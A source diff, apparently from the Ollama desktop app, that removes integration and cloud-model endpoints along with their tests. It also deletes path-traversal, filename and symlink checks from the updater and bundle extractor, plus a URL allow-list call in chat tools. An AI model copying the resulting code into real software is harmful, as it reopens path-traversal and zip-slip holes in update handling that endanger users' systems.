|
||||
ClaudeDesktopModelStatus,
|
||||
ClaudeDesktopStatus,
|
||||
ContextMenuItem,
|
||||
ContextMenuResult,
|
||||
ImageData,
|
||||
WebviewAPI,
|
||||
};
|
||||
export type { ImageData, WebviewAPI, ContextMenuItem, ContextMenuResult };
|
||||
@@ -31,7 +31,6 @@ import (
|
||||
"github.com/ollama/ollama/app/updater"
|
||||
"github.com/ollama/ollama/app/version"
|
||||
ollamaAuth "github.com/ollama/ollama/auth"
|
||||
"github.com/ollama/ollama/cmd/launch"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/manifest"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
@@ -111,10 +110,8 @@ type Server struct {
|
||||
Dev bool
|
||||
|
||||
// Updater for checking and downloading updates
|
||||
Updater *updater.Updater
|
||||
UpdateAvailableFunc func()
|
||||
IntegrationInstalled func(string) bool
|
||||
ListCloudModels func(context.Context) (*api.ListResponse, error)
|
||||
Updater *updater.Updater
|
||||
UpdateAvailableFunc func()
|
||||
}
|
||||
|
||||
func (s *Server) log() *slog.Logger {
|
||||
@@ -295,8 +292,6 @@ func (s *Server) Handler() http.Handler {
|
||||
mux.Handle("POST /api/v1/settings", handle(s.settings))
|
||||
mux.Handle("GET /api/v1/cloud", handle(s.getCloudSetting))
|
||||
mux.Handle("POST /api/v1/cloud", handle(s.cloudSetting))
|
||||
mux.Handle("GET /api/v1/models/cloud", handle(s.getCloudModels))
|
||||
mux.Handle("GET /api/v1/integrations", handle(s.getIntegrationStatuses))
|
||||
|
||||
// Ollama proxy endpoints
|
||||
ollamaProxy := s.ollamaProxy()
|
||||
@@ -319,74 +314,6 @@ func (s *Server) Handler() http.Handler {
|
||||
return mux
|
||||
}
|
||||
|
||||
func (s *Server) getIntegrationStatuses(w http.ResponseWriter, _ *http.Request) error {
|
||||
isInstalled := s.IntegrationInstalled
|
||||
if isInstalled == nil {
|
||||
isInstalled = launch.IsIntegrationInstalled
|
||||
}
|
||||
|
||||
type integrationStatus struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Installed *bool `json:"installed,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
infos := launch.ListIntegrationInfos()
|
||||
statuses := make([]integrationStatus, 0, len(infos)+2)
|
||||
claudeDesktopInstalled := isInstalled("claude-desktop")
|
||||
statuses = append(statuses, integrationStatus{
|
||||
ID: "claude-desktop",
|
||||
Name: "Claude",
|
||||
Description: "Use Ollama models in Claude Desktop",
|
||||
Installed: &claudeDesktopInstalled,
|
||||
Action: "connect",
|
||||
})
|
||||
|
||||
byName := make(map[string]launch.IntegrationInfo, len(infos))
|
||||
for _, info := range infos {
|
||||
byName[info.Name] = info
|
||||
}
|
||||
seen := map[string]bool{"chatgpt": true}
|
||||
launcherMenuOrder := []string{"claude", "codex", "openclaw", "opencode", "droid", "pi", "cline"}
|
||||
orderedInfos := make([]launch.IntegrationInfo, 0, len(infos))
|
||||
for _, name := range launcherMenuOrder {
|
||||
if info, ok := byName[name]; ok {
|
||||
orderedInfos = append(orderedInfos, info)
|
||||
seen[name] = true
|
||||
}
|
||||
}
|
||||
for _, info := range infos {
|
||||
if !seen[info.Name] {
|
||||
orderedInfos = append(orderedInfos, info)
|
||||
}
|
||||
}
|
||||
|
||||
for _, info := range orderedInfos {
|
||||
installed := isInstalled(info.Name)
|
||||
statuses = append(statuses, integrationStatus{
|
||||
ID: info.Name,
|
||||
Name: info.DisplayName,
|
||||
Description: info.Description,
|
||||
Installed: &installed,
|
||||
Action: "copy",
|
||||
Command: "ollama launch " + info.Name,
|
||||
})
|
||||
}
|
||||
|
||||
statuses = append(statuses, integrationStatus{
|
||||
ID: "terminal",
|
||||
Name: "Terminal",
|
||||
Description: "Run local models from your terminal",
|
||||
Action: "copy",
|
||||
Command: "ollama",
|
||||
})
|
||||
|
||||
return json.NewEncoder(w).Encode(statuses)
|
||||
}
|
||||
|
||||
// handleError renders appropriate error responses based on request type
|
||||
func (s *Server) handleError(w http.ResponseWriter, e error) {
|
||||
// Preserve CORS headers for API requests
|
||||
@@ -647,18 +574,6 @@ func (s *Server) getError(err error) responses.ErrorEvent {
|
||||
}
|
||||
}
|
||||
|
||||
func userMessageText(messages []store.Message) string {
|
||||
var b strings.Builder
|
||||
for _, message := range messages {
|
||||
if message.Role != "user" {
|
||||
continue
|
||||
}
|
||||
b.WriteString(message.Content)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
|
||||
if len(chat.BrowserState) > 0 {
|
||||
var st responses.BrowserStateData
|
||||
@@ -924,7 +839,6 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
|
||||
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
|
||||
registry := tools.NewRegistry()
|
||||
var browser *tools.Browser
|
||||
ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
|
||||
|
||||
if !hasAttachments {
|
||||
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
|
||||
@@ -1537,27 +1451,11 @@ func (s *Server) settings(w http.ResponseWriter, r *http.Request) error {
|
||||
return fmt.Errorf("failed to load settings: %w", err)
|
||||
}
|
||||
|
||||
var request struct {
|
||||
store.Settings
|
||||
OnboardingVersion *int
|
||||
ClaudeDesktopUsed *bool
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&request); err != nil {
|
||||
var settings store.Settings
|
||||
if err := json.NewDecoder(r.Body).Decode(&settings); err != nil {
|
||||
return fmt.Errorf("invalid request body: %w", err)
|
||||
}
|
||||
|
||||
settings := request.Settings
|
||||
if request.OnboardingVersion == nil {
|
||||
settings.OnboardingVersion = old.OnboardingVersion
|
||||
} else {
|
||||
settings.OnboardingVersion = *request.OnboardingVersion
|
||||
}
|
||||
if request.ClaudeDesktopUsed == nil {
|
||||
settings.ClaudeDesktopUsed = old.ClaudeDesktopUsed
|
||||
} else {
|
||||
settings.ClaudeDesktopUsed = *request.ClaudeDesktopUsed
|
||||
}
|
||||
|
||||
if err := s.Store.SetSettings(settings); err != nil {
|
||||
return fmt.Errorf("failed to save settings: %w", err)
|
||||
}
|
||||
@@ -1626,58 +1524,6 @@ func (s *Server) writeCloudStatus(w http.ResponseWriter) error {
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) getCloudModels(w http.ResponseWriter, r *http.Request) error {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
disabled, _, err := s.Store.CloudStatus()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to load cloud status: %w", err)
|
||||
}
|
||||
if disabled {
|
||||
return json.NewEncoder(w).Encode(api.ListResponse{Models: []api.ListModelResponse{}})
|
||||
}
|
||||
|
||||
list := s.ListCloudModels
|
||||
if list == nil {
|
||||
list = s.listCloudModels
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 3*time.Second)
|
||||
defer cancel()
|
||||
models, err := list(ctx)
|
||||
if err != nil {
|
||||
var authErr api.AuthorizationError
|
||||
if errors.As(err, &authErr) && (authErr.StatusCode == http.StatusUnauthorized || authErr.StatusCode == http.StatusForbidden) {
|
||||
return json.NewEncoder(w).Encode(api.ListResponse{Models: []api.ListModelResponse{}})
|
||||
}
|
||||
return fmt.Errorf("failed to list cloud models: %w", err)
|
||||
}
|
||||
if models == nil {
|
||||
models = &api.ListResponse{Models: []api.ListModelResponse{}}
|
||||
}
|
||||
|
||||
return json.NewEncoder(w).Encode(models)
|
||||
}
|
||||
|
||||
func (s *Server) listCloudModels(ctx context.Context) (*api.ListResponse, error) {
|
||||
resp, err := s.doSelfSigned(ctx, http.MethodGet, "/api/tags")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode == http.StatusUnauthorized || resp.StatusCode == http.StatusForbidden {
|
||||
return nil, api.AuthorizationError{StatusCode: resp.StatusCode}
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("ollama.com/api/tags returned %s", resp.Status)
|
||||
}
|
||||
|
||||
var models api.ListResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&models); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse cloud models: %w", err)
|
||||
}
|
||||
return &models, nil
|
||||
}
|
||||
|
||||
func (s *Server) getInferenceCompute(w http.ResponseWriter, r *http.Request) error {
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 500*time.Millisecond)
|
||||
defer cancel()
|
||||
|
||||
@@ -18,7 +18,6 @@ import (
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/app/store"
|
||||
"github.com/ollama/ollama/app/updater"
|
||||
"github.com/ollama/ollama/cmd/launch"
|
||||
)
|
||||
|
||||
func TestHandlePostApiSettings(t *testing.T) {
|
||||
@@ -120,80 +119,6 @@ func TestHandlePostApiSettings(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetIntegrationStatuses(t *testing.T) {
|
||||
server := &Server{
|
||||
IntegrationInstalled: func(name string) bool {
|
||||
return name == "claude-desktop" || name == "codex"
|
||||
},
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/integrations", nil)
|
||||
rr := httptest.NewRecorder()
|
||||
|
||||
if err := server.getIntegrationStatuses(rr, req); err != nil {
|
||||
t.Fatalf("getIntegrationStatuses() error = %v", err)
|
||||
}
|
||||
|
||||
var got []struct {
|
||||
ID string `json:"id"`
|
||||
Installed *bool `json:"installed"`
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command"`
|
||||
}
|
||||
if err := json.NewDecoder(rr.Body).Decode(&got); err != nil {
|
||||
t.Fatalf("decode response: %v", err)
|
||||
}
|
||||
|
||||
if len(got) < 5 {
|
||||
t.Fatalf("got %d integrations, want the full registry", len(got))
|
||||
}
|
||||
if got[0].ID != "claude-desktop" || got[0].Action != "connect" || got[0].Command != "" {
|
||||
t.Fatalf("first integration = %+v, want command-free Claude Desktop connect", got[0])
|
||||
}
|
||||
wantPrefix := []string{"claude-desktop", "claude", "codex", "openclaw", "opencode", "droid", "pi", "cline"}
|
||||
for i, want := range wantPrefix {
|
||||
if got[i].ID != want {
|
||||
t.Fatalf("integration %d = %q, want launcher menu order entry %q", i, got[i].ID, want)
|
||||
}
|
||||
}
|
||||
byID := make(map[string]struct {
|
||||
Installed *bool
|
||||
Action string
|
||||
Command string
|
||||
}, len(got))
|
||||
for _, item := range got {
|
||||
byID[item.ID] = struct {
|
||||
Installed *bool
|
||||
Action string
|
||||
Command string
|
||||
}{item.Installed, item.Action, item.Command}
|
||||
}
|
||||
|
||||
for name, want := range map[string]bool{
|
||||
"claude-desktop": true,
|
||||
"opencode": false,
|
||||
"codex": true,
|
||||
} {
|
||||
item, ok := byID[name]
|
||||
if !ok || item.Installed == nil || *item.Installed != want {
|
||||
t.Errorf("%s installed = %v, want %v", name, item.Installed, want)
|
||||
}
|
||||
}
|
||||
if item, ok := byID["claude"]; !ok || item.Command != "ollama launch claude" {
|
||||
t.Fatal("Claude Code should follow Claude Desktop with its launch command")
|
||||
}
|
||||
if _, ok := byID["chatgpt"]; ok {
|
||||
t.Fatal("ChatGPT should be excluded from onboarding integrations")
|
||||
}
|
||||
wantCount := len(launch.ListIntegrationInfos()) + 1 // Claude Desktop and Terminal replace omitted ChatGPT.
|
||||
if len(got) != wantCount {
|
||||
t.Fatalf("got %d integrations, want %d launcher entries", len(got), wantCount)
|
||||
}
|
||||
terminal := got[len(got)-1]
|
||||
if terminal.ID != "terminal" || terminal.Installed != nil || terminal.Command != "ollama" {
|
||||
t.Fatalf("last integration = %+v, want Terminal without install status", terminal)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandlePostApiCloudSetting(t *testing.T) {
|
||||
tmpHome := t.TempDir()
|
||||
t.Setenv("HOME", tmpHome)
|
||||
@@ -602,63 +527,6 @@ func TestUserAgentTransport(t *testing.T) {
|
||||
t.Logf("User-Agent transport successfully set: %s", receivedUA)
|
||||
}
|
||||
|
||||
func TestGetCloudModels(t *testing.T) {
|
||||
t.Run("does not call ollama.com when cloud is disabled", func(t *testing.T) {
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "1")
|
||||
testStore := &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}
|
||||
defer testStore.Close()
|
||||
|
||||
server := &Server{
|
||||
Store: testStore,
|
||||
ListCloudModels: func(context.Context) (*api.ListResponse, error) {
|
||||
t.Fatal("cloud model list called while cloud was disabled")
|
||||
return nil, nil
|
||||
},
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/models/cloud", nil)
|
||||
rr := httptest.NewRecorder()
|
||||
if err := server.getCloudModels(rr, req); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var got api.ListResponse
|
||||
if err := json.NewDecoder(rr.Body).Decode(&got); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got.Models) != 0 {
|
||||
t.Fatalf("models = %+v, want none", got.Models)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("returns no cloud models when account is unauthorized", func(t *testing.T) {
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "")
|
||||
testStore := &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}
|
||||
defer testStore.Close()
|
||||
|
||||
server := &Server{
|
||||
Store: testStore,
|
||||
ListCloudModels: func(context.Context) (*api.ListResponse, error) {
|
||||
return nil, api.AuthorizationError{StatusCode: http.StatusUnauthorized}
|
||||
},
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/models/cloud", nil)
|
||||
rr := httptest.NewRecorder()
|
||||
if err := server.getCloudModels(rr, req); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var got api.ListResponse
|
||||
if err := json.NewDecoder(rr.Body).Decode(&got); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got.Models) != 0 {
|
||||
t.Fatalf("models = %+v, want none", got.Models)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestInferenceClientUsesUserAgent(t *testing.T) {
|
||||
var gotUserAgent atomic.Value
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -850,100 +718,6 @@ func TestSettingsToggleAutoUpdateOff_CancelsDownload(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsPreservesOnboardingVersionWhenOmitted(t *testing.T) {
|
||||
testStore := &store.Store{
|
||||
DBPath: filepath.Join(t.TempDir(), "db.sqlite"),
|
||||
}
|
||||
defer testStore.Close()
|
||||
|
||||
settings, err := testStore.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
settings.OnboardingVersion = 1
|
||||
if err := testStore.SetSettings(settings); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
payload, err := json.Marshal(settings)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var fields map[string]any
|
||||
if err := json.Unmarshal(payload, &fields); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
delete(fields, "OnboardingVersion")
|
||||
payload, err = json.Marshal(fields)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
server := &Server{
|
||||
Store: testStore,
|
||||
Restart: func() {},
|
||||
}
|
||||
req := httptest.NewRequest("POST", "/api/v1/settings", bytes.NewReader(payload))
|
||||
rr := httptest.NewRecorder()
|
||||
|
||||
if err := server.settings(rr, req); err != nil {
|
||||
t.Fatalf("settings() error = %v", err)
|
||||
}
|
||||
|
||||
saved, err := testStore.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if saved.OnboardingVersion != 1 {
|
||||
t.Fatalf("OnboardingVersion = %d, want 1", saved.OnboardingVersion)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsPreservesClaudeDesktopUsedWhenOmitted(t *testing.T) {
|
||||
testStore := &store.Store{
|
||||
DBPath: filepath.Join(t.TempDir(), "db.sqlite"),
|
||||
}
|
||||
defer testStore.Close()
|
||||
|
||||
settings, err := testStore.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
settings.ClaudeDesktopUsed = true
|
||||
if err := testStore.SetSettings(settings); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
payload, err := json.Marshal(settings)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var fields map[string]any
|
||||
if err := json.Unmarshal(payload, &fields); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
delete(fields, "ClaudeDesktopUsed")
|
||||
payload, err = json.Marshal(fields)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
server := &Server{Store: testStore, Restart: func() {}}
|
||||
req := httptest.NewRequest("POST", "/api/v1/settings", bytes.NewReader(payload))
|
||||
rr := httptest.NewRecorder()
|
||||
if err := server.settings(rr, req); err != nil {
|
||||
t.Fatalf("settings() error = %v", err)
|
||||
}
|
||||
|
||||
saved, err := testStore.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !saved.ClaudeDesktopUsed {
|
||||
t.Fatal("expected ClaudeDesktopUsed to be preserved")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsToggleAutoUpdateOn_WithPendingUpdate_ShowsNotification(t *testing.T) {
|
||||
testStore := &store.Store{
|
||||
DBPath: filepath.Join(t.TempDir(), "db.sqlite"),
|
||||
|
||||
@@ -5,8 +5,6 @@ package updater
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -153,12 +151,10 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
return err
|
||||
}
|
||||
|
||||
// In case of slow downloads, continue the update check in the background.
|
||||
// Drain the goroutine before returning: it reads package-level knobs
|
||||
// (e.g. UpdateCheckInterval), which callers may mutate once we return.
|
||||
// In case of slow downloads, continue the update check in the background
|
||||
bgctx, bgcancel := context.WithCancel(downloadCtx)
|
||||
var bgwg sync.WaitGroup
|
||||
bgwg.Go(func() {
|
||||
defer bgcancel()
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-bgctx.Done():
|
||||
@@ -167,30 +163,28 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
u.checkForUpdate(bgctx)
|
||||
}
|
||||
}
|
||||
})
|
||||
defer func() {
|
||||
bgcancel()
|
||||
bgwg.Wait()
|
||||
}()
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("error checking update: %w", err)
|
||||
}
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
|
||||
}
|
||||
resp.Body.Close()
|
||||
etag := strings.Trim(resp.Header.Get("etag"), "\"")
|
||||
if etag == "" {
|
||||
slog.Debug("no etag detected, falling back to filename based dedup")
|
||||
etag = "_"
|
||||
}
|
||||
filename := Installer
|
||||
_, params, err := mime.ParseMediaType(resp.Header.Get("content-disposition"))
|
||||
if err == nil && params["filename"] != "" {
|
||||
if err == nil {
|
||||
filename = params["filename"]
|
||||
}
|
||||
|
||||
stageFilename, err := updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stageFilename := filepath.Join(UpdateStageDir, etag, filename)
|
||||
|
||||
// Check to see if we already have it downloaded
|
||||
_, err = os.Stat(stageFilename)
|
||||
@@ -208,14 +202,13 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
return fmt.Errorf("error checking update: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
|
||||
etag = strings.Trim(resp.Header.Get("etag"), "\"")
|
||||
if etag == "" {
|
||||
slog.Debug("no etag detected, falling back to filename based dedup") // TODO probably can get rid of this redundant log
|
||||
etag = "_"
|
||||
}
|
||||
|
||||
stageFilename, err = updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stageFilename = filepath.Join(UpdateStageDir, etag, filename)
|
||||
|
||||
_, err = os.Stat(filepath.Dir(stageFilename))
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
@@ -232,13 +225,10 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
if err != nil {
|
||||
return fmt.Errorf("write payload %s: %w", stageFilename, err)
|
||||
}
|
||||
defer fp.Close()
|
||||
if n, err := fp.Write(payload); err != nil || n != len(payload) {
|
||||
_ = fp.Close()
|
||||
return fmt.Errorf("write payload %s: %d vs %d -- %w", stageFilename, n, len(payload), err)
|
||||
}
|
||||
if err := fp.Close(); err != nil {
|
||||
return fmt.Errorf("close payload %s: %w", stageFilename, err)
|
||||
}
|
||||
slog.Info("new update downloaded " + stageFilename)
|
||||
|
||||
if err := VerifyDownload(); err != nil {
|
||||
@@ -249,61 +239,6 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
return nil
|
||||
}
|
||||
|
||||
func updateStagePath(stageDir, etag, filename string) (string, error) {
|
||||
filename, err := safeUpdateFilename(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
stageDir, err = filepath.Abs(stageDir)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("resolve update stage dir: %w", err)
|
||||
}
|
||||
|
||||
stageFilename := filepath.Join(stageDir, updateStageETagDir(etag), filename)
|
||||
if err := ensurePathInDir(stageDir, stageFilename); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return stageFilename, nil
|
||||
}
|
||||
|
||||
func safeUpdateFilename(filename string) (string, error) {
|
||||
filename = strings.TrimSpace(filename)
|
||||
if filename == "" {
|
||||
return "", errors.New("missing update filename")
|
||||
}
|
||||
if filename == "." || filename == ".." ||
|
||||
filepath.IsAbs(filename) || path.IsAbs(filename) ||
|
||||
strings.ContainsAny(filename, `/\:`) ||
|
||||
filepath.Base(filename) != filename || path.Base(filename) != filename {
|
||||
return "", fmt.Errorf("unsafe update filename %q", filename)
|
||||
}
|
||||
return filename, nil
|
||||
}
|
||||
|
||||
func updateStageETagDir(etag string) string {
|
||||
etag = strings.Trim(strings.TrimSpace(etag), "\"")
|
||||
if etag == "" {
|
||||
slog.Debug("no etag detected, falling back to filename based dedup")
|
||||
return "_"
|
||||
}
|
||||
|
||||
sum := sha256.Sum256([]byte(etag))
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
func ensurePathInDir(dir, name string) error {
|
||||
rel, err := filepath.Rel(dir, name)
|
||||
if err != nil {
|
||||
return fmt.Errorf("resolve update staging path: %w", err)
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
|
||||
return fmt.Errorf("update staging path escapes stage dir: %s", name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cleanupOldDownloads(stageDir string) {
|
||||
files, err := os.ReadDir(stageDir)
|
||||
if err != nil && errors.Is(err, os.ErrNotExist) {
|
||||
|
||||
@@ -22,15 +22,6 @@ import (
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
const updateArchiveRoot = "Ollama.app"
|
||||
|
||||
type bundleEntryScope int
|
||||
|
||||
const (
|
||||
bundleEntryRelative bundleEntryScope = iota
|
||||
bundleEntryWithArchiveRoot
|
||||
)
|
||||
|
||||
var (
|
||||
appBackupDir string
|
||||
SystemWidePath = "/Applications/Ollama.app"
|
||||
@@ -176,12 +167,8 @@ func DoUpgrade(interactive bool) error {
|
||||
}
|
||||
name := s[1]
|
||||
if strings.HasSuffix(name, "/") {
|
||||
d, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
}
|
||||
err = os.MkdirAll(d, 0o755)
|
||||
d := filepath.Join(BundlePath, name)
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
@@ -194,14 +181,30 @@ func DoUpgrade(interactive bool) error {
|
||||
continue
|
||||
}
|
||||
|
||||
destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
|
||||
src, err := f.Open()
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
return fmt.Errorf("failed to open bundle file %s: %w", name, err)
|
||||
}
|
||||
if err := extractBundleFile(f, destName, name); err != nil {
|
||||
destName := filepath.Join(BundlePath, name)
|
||||
// Verify directory first
|
||||
d := filepath.Dir(destName)
|
||||
if _, err := os.Stat(d); err != nil {
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
}
|
||||
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
return fmt.Errorf("failed to open output file %s: %w", destName, err)
|
||||
}
|
||||
defer destFile.Close()
|
||||
if _, err := io.Copy(destFile, src); err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
|
||||
}
|
||||
}
|
||||
for _, f := range links {
|
||||
@@ -222,24 +225,16 @@ func DoUpgrade(interactive bool) error {
|
||||
return err
|
||||
}
|
||||
link := string(buf)
|
||||
if link == "" {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("bundle contains empty symlink %s", f.Name)
|
||||
}
|
||||
if filepath.IsAbs(link) {
|
||||
if link[0] == '/' {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
|
||||
}
|
||||
if !validBundleLinkTarget(name, link, bundleEntryRelative) {
|
||||
// Don't allow links outside of Ollama.app
|
||||
if strings.HasPrefix(filepath.Join(filepath.Dir(name), link), "..") {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
|
||||
return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
|
||||
}
|
||||
destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
}
|
||||
if err = os.Symlink(link, destName); err != nil {
|
||||
if err = os.Symlink(link, filepath.Join(BundlePath, name)); err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
}
|
||||
@@ -287,11 +282,8 @@ func verifyDownload() error {
|
||||
links := []*zip.File{}
|
||||
for _, f := range r.File {
|
||||
if strings.HasSuffix(f.Name, "/") {
|
||||
d, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = os.MkdirAll(d, 0o755)
|
||||
d := filepath.Join(dir, f.Name)
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
@@ -302,12 +294,26 @@ func verifyDownload() error {
|
||||
links = append(links, f)
|
||||
continue
|
||||
}
|
||||
destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
|
||||
src, err := f.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("failed to open bundle file %s: %w", f.Name, err)
|
||||
}
|
||||
if err := extractBundleFile(f, destName, f.Name); err != nil {
|
||||
return err
|
||||
destName := filepath.Join(dir, f.Name)
|
||||
// Verify directory first
|
||||
d := filepath.Dir(destName)
|
||||
if _, err := os.Stat(d); err != nil {
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
}
|
||||
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open output file %s: %w", destName, err)
|
||||
}
|
||||
defer destFile.Close()
|
||||
if _, err := io.Copy(destFile, src); err != nil {
|
||||
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
|
||||
}
|
||||
}
|
||||
for _, f := range links {
|
||||
@@ -320,20 +326,13 @@ func verifyDownload() error {
|
||||
return err
|
||||
}
|
||||
link := string(buf)
|
||||
if link == "" {
|
||||
return fmt.Errorf("bundle contains empty symlink %s", f.Name)
|
||||
}
|
||||
if filepath.IsAbs(link) {
|
||||
if link[0] == '/' {
|
||||
return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
|
||||
}
|
||||
if !validBundleLinkTarget(f.Name, link, bundleEntryWithArchiveRoot) {
|
||||
return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
|
